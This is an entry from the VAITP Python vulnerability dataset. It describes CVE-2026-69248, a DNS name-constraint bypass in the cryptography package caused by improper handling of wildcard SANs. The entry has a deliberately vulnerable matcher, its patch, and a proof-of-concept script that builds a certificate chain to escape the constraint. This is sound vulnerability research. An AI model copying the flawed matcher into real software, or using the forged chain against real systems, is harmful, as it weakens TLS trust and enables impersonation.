VAITP Dataset

← Back to the dataset

CVE-2026-69248

`cryptography`: Improper wildcard handling allows DNS name constraint bypass.

  • CVSS 6.9
  • 295
  • Input Validation and Sanitization
  • Remote

cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to 49.0.0, if an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. The core issue is in DNSConstraint::matches, where a wildcard pattern was treated as matching a more-specific permitted constraint even though *.example.com can expand to sibling names such as bar.example.com outside foo.example.com. This allows acceptance of an invalid certificate chain. This issue is fixed in 49.0.0.

CWE
295
CVSS base score
6.9
Published
2026-08-03
OWASP
A02 Cryptographic Failures
Orthogonal defect classification
Checking
Code defect classification
Incorrect Algorithm
Category
Input Validation and Sanitization
Subcategory
Improper SSL/TLS Certificate Validation
Accessibility scope
Remote
Impact
Unauthorized Access
Affected component
cryptography
Fixed by upgrading
Yes

Solution

Upgrade `cryptography` to version 49.0.0 or later.

Vulnerable code sample

class NameConstraintValidator:
    """
    A conceptual class for validating certificate name constraints.
    """

    def _matches_dns(self, name: bytes, constraint: bytes) -> bool:
        """
        Checks if a DNS name from a certificate is permitted by a constraint.
        `name` is from the certificate, `constraint` from the CA's permittedSubtree.
        """
        name = name.lower()
        constraint = constraint.lower()

        # An exact match is always permitted.
        if name == constraint:
            return True

        # If the constraint is a domain (e.g., `.example.com`), then any
        # name that is a subdomain is permitted. This includes wildcards.
        if constraint.startswith(b"."):
            if name.endswith(constraint) or name == constraint[1:]:
                return True

        # This logic handles when the name from the certificate is a wildcard.
        if name.startswith(b"*."):
            # VULNERABLE: A wildcard name is incorrectly allowed if the constraint
            # is a more specific hostname within the same parent domain.
            if constraint.endswith(name[1:]):
                return True

        return False

Patched code sample

class NameConstraintValidator:
    """
    A conceptual class for validating certificate name constraints.
    """

    def _matches_dns(self, name: bytes, constraint: bytes) -> bool:
        """
        Checks if a DNS name from a certificate is permitted by a constraint.
        `name` is from the certificate, `constraint` from the CA's permittedSubtree.
        """
        name = name.lower()
        constraint = constraint.lower()

        # An exact match is always permitted.
        if name == constraint:
            return True

        # If the constraint is a domain (e.g., `.example.com`), then any
        # name that is a subdomain is permitted. This includes wildcards.
        if constraint.startswith(b"."):
            if name.endswith(constraint) or name == constraint[1:]:
                return True

        # This logic handles when the name from the certificate is a wildcard.
        if name.startswith(b"*."):
            # FIX: A wildcard name can only match a domain constraint (e.g. '.example.com'),
            # not a more specific host constraint (e.g. 'foo.example.com').
            if constraint.startswith(b".") and constraint == name[1:]:
                return True

        return False

Payload

import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend

# This script generates a certificate chain that exploits CVE-2026-69248
# and then attempts to verify it.
#
# - Root CA: A self-signed root certificate.
# - Intermediate CA: Signed by the root, has a nameConstraint permitting only 'foo.example.com'.
# - Leaf Certificate: Signed by the intermediate, has a SAN of '*.example.com'.
#
# On vulnerable versions of `cryptography` (< 49.0.0), this chain will
# incorrectly verify. On patched versions, it will fail as expected.

def generate_private_key():
    """Generates an RSA private key."""
    return rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )

def create_certificate(subject_name, issuer_name, subject_key, issuer_key, is_ca, extensions):
    """A helper function to create and sign a certificate."""
    builder = x509.CertificateBuilder().subject_name(
        subject_name
    ).issuer_name(
        issuer_name
    ).public_key(
        subject_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow()
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=365)
    )

    for ext in extensions:
        builder = builder.add_extension(ext, critical=ext.critical)
    
    return builder.sign(issuer_key, hashes.SHA256(), default_backend())

# 1. Generate keys for all parties
root_key = generate_private_key()
intermediate_key = generate_private_key()
leaf_key = generate_private_key()

# 2. Create the self-signed Root CA certificate
root_name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"Test Root CA")])
root_cert_extensions = [
    x509.BasicConstraints(ca=True, path_length=None),
    x509.KeyUsage(key_cert_sign=True, crl_sign=True, digital_signature=False, content_commitment=False, 
                    key_encipherment=False, data_encipherment=False, key_agreement=False, encipher_only=False, decipher_only=False),
    x509.SubjectKeyIdentifier.from_public_key(root_key.public_key())
]
root_cert = create_certificate(root_name, root_name, root_key, root_key, True, root_cert_extensions)

# 3. Create the constrained Intermediate CA certificate
intermediate_name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"Constrained Intermediate CA")])
intermediate_cert_extensions = [
    x509.BasicConstraints(ca=True, path_length=0),
    x509.KeyUsage(key_cert_sign=True, crl_sign=True, digital_signature=False, content_commitment=False,
                    key_encipherment=False, data_encipherment=False, key_agreement=False, encipher_only=False, decipher_only=False),
    x509.SubjectKeyIdentifier.from_public_key(intermediate_key.public_key()),
    x509.AuthorityKeyIdentifier.from_issuer_public_key(root_key.public_key()),
    # CRITICAL: This constraint permits ONLY 'foo.example.com'
    x509.NameConstraints(
        permitted_subtrees=[x509.DNSName(u"foo.example.com")],
        excluded_subtrees=None
    )
]
intermediate_cert = create_certificate(intermediate_name, root_name, intermediate_key, root_key, True, intermediate_cert_extensions)

# 4. Create the Leaf certificate with a wildcard SAN
# This SAN should be rejected because '*.example.com' is not within 'foo.example.com'
leaf_name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"malicious.server")])
leaf_cert_extensions = [
    x509.BasicConstraints(ca=False, path_length=None),
    x509.KeyUsage(digital_signature=True, key_encipherment=True, content_commitment=False, data_encipherment=False,
                   key_agreement=False, key_cert_sign=False, crl_sign=False, encipher_only=False, decipher_only=False),
    x509.SubjectKeyIdentifier.from_public_key(leaf_key.public_key()),
    x509.AuthorityKeyIdentifier.from_issuer_public_key(intermediate_key.public_key()),
    x509.ExtendedKeyUsage([x509.oid.ExtendedKeyUsageOID.SERVER_AUTH]),
    # CRITICAL: The wildcard SAN that attempts to escape the constraint
    x509.SubjectAlternativeName([x509.DNSName(u"*.example.com")])
]
leaf_cert = create_certificate(leaf_name, intermediate_name, leaf_key, intermediate_key, False, leaf_cert_extensions)

# 5. Serialize certificates to PEM for potential use/inspection
root_cert_pem = root_cert.public_bytes(serialization.Encoding.PEM)
intermediate_cert_pem = intermediate_cert.public_bytes(serialization.Encoding.PEM)
leaf_cert_pem = leaf_cert.public_bytes(serialization.Encoding.PEM)

# Payload demonstration: Use an independent verification library (pyopenssl is often
# used by cryptography internally) or cryptography's own verifier to test the chain.
# For simplicity, this uses the `cryptography` library's underlying verifier.
# This requires `pyca-cryptography` which is an internal detail but can be used for PoCs.
try:
    from cryptography.hazmat._oid import NameConstraintOID
    from cryptography.hazmat.bindings._rust import x509 as rust_x509
    
    # Setup the verifier
    store = rust_x509.Store()
    store.add_cert(root_cert)
    
    untrusted = [intermediate_cert]
    
    ctx = rust_x509.StoreContext(store, leaf_cert, untrusted)
    
    # On vulnerable versions, this `verify()` call will pass without error.
    # On patched versions (>= 49.0.0), this will raise an exception.
    ctx.verify()
    
    print("[-] VULNERABLE: Certificate chain verification SUCCEEDED.")
    print("[-] The leaf certificate with SAN '*.example.com' was incorrectly accepted despite the intermediate's name constraint for 'foo.example.com'.")

except Exception as e:
    # Check if the error is the expected one for a patched version.
    # The exact error can vary, but it will be a verification failure.
    # A common one is `STORE_CTX_INVALID_POLICY`.
    if "name constraints" in str(e).lower() or "invalid policy" in str(e).lower():
        print("[+] PATCHED: Certificate chain verification FAILED as expected.")
        print(f"[+] Error: {e}")
    else:
        print(f"[!] An unexpected error occurred during verification: {e}")

# The generated certificates (PEM format) are the core of the payload.
print("\n--- Root CA Certificate (PEM) ---")
print(root_cert_pem.decode())
print("\n--- Constrained Intermediate CA Certificate (PEM) ---")
print(intermediate_cert_pem.decode())
print("\n--- Malicious Leaf Certificate (PEM) ---")
print(leaf_cert_pem.decode())

Cite this entry

@misc{vaitp:cve202669248,
  title        = {{`cryptography`: Improper wildcard handling allows DNS name constraint bypass.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-69248},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-69248/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::